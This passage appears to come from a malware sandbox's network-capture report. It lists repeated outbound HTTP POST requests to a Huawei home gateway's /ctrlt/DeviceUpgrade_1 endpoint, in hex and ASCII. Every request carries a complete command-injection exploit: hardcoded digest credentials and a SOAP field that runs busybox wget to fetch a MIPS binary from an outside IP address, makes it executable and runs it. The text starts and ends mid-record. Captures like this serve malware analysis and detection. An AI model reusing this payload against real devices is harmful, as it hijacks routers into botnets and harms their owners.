79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:17:32.350141048 CET	2986	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:17:40.028970003 CET	3219	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.23	36780	156.254.92.217	37215

Timestamp	kBytes transferred	Direction	Data
Nov 19, 2023 09:17:27.221980095 CET	2871	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:17:28.862690926 CET	2901	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:17:30.814330101 CET	2955	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:17:34.913662910 CET	3065	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:17:42.844615936 CET	3276	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	156.254.92.217	37215	192.168.2.23	36780

Timestamp	kBytes transferred	Direction	Data
Nov 19, 2023 09:17:27.221980095 CET	2871	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:17:28.862690926 CET	2901	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 